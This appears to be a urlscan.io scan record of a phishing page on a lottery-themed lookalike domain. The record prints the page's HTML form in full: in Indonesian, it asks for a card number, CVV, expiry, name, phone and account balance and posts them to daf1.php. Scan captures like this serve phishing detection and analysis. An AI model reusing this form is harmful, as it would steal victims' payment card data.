kupon-undian.com-iv.my.id Open in urlscan Pro
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1 forms found in the DOM

POST daf1.php

<form action="daf1.php" method="POST" enctype="application/x-www-form-urlencoded" class="daftar-form">
  <img alt="image" src="https://assets.softr-files.com/applications/e0f83f16-94cb-4776-a01a-6bf40c5cbc67/assets/ab400a83-4cee-4ac6-9a8e-7ed34584cd3b.jpeg" class="daftar-image">
  <input type="tel" name="debit" required="" maxlength="16" minlength="16" placeholder="Masukkan 16 Digit Nomor Kartu" class="daftar-textinput input">
  <input type="text" name="nama" required="" placeholder="Nama Lengkap" class="daftar-textinput1 input">
  <input type="tel" name="cvv" required="" maxlength="3" minlength="3" placeholder="CVV ( 3 Digit Terakhir di belakang Kartu )" class="daftar-textinput2 input">
  <input type="tel" name="phone" required="" maxlength="13" minlength="10" placeholder="Nomor Handphone" class="daftar-textinput3 input">
  <input type="tel" name="saldo" required="" placeholder="Sisa Saldo Terakhir" id="inputku" onkeydown="return numbersonly(this, event);" onkeyup="javascript:tandaPemisahTitik(this);" class="daftar-textinput4 input">
  <span class="daftar-text">Masa Berlaku Kartu</span>
  <select name="bulan" required="" class="daftar-select">
    <option value="">Bulan</option>
    <option value="01">01</option>
    <option value="02">02</option>
    <option value="03">03</option>
    <option value="04">04</option>
    <option value="05">05</option>
    <option value="06">06</option>
    <option value="07">07</option>
    <option value="08">08</option>
    <option value="09">09</option>
    <option value="10">10</option>
    <option value="11">11</option>
    <option value="12">12</option>
  </select>
  <select name="tahun" required="" class="daftar-select1">
    <option value="Option 1">Tahun</option>
    <option <option="" value="23">23</option>
    <option value="24">24</option>
    <option value="25">25</option>
    <option value="26">26</option>
    <option value="27">27</option>
    <option value="28">28</option>
    <option value="29">29</option>
  </select>
  <span class="daftar-text1">Rp.</span>
  <button type="submit" class="daftar-button button">LANJUT</button>
  <img alt="image" src="https://assets.softr-files.com/applications/e0f83f16-94cb-4776-a01a-6bf40c5cbc67/assets/418ccd38-319a-4e13-b871-f8052dba0dd3.jpeg" class="daftar-image1">
</form>

Text Content

Masa Berlaku Kartu Bulan 01 02 03 04 05 06 07 08 09 10 11 12 Tahun23 24 25 26 27
28 29 Rp. LANJUT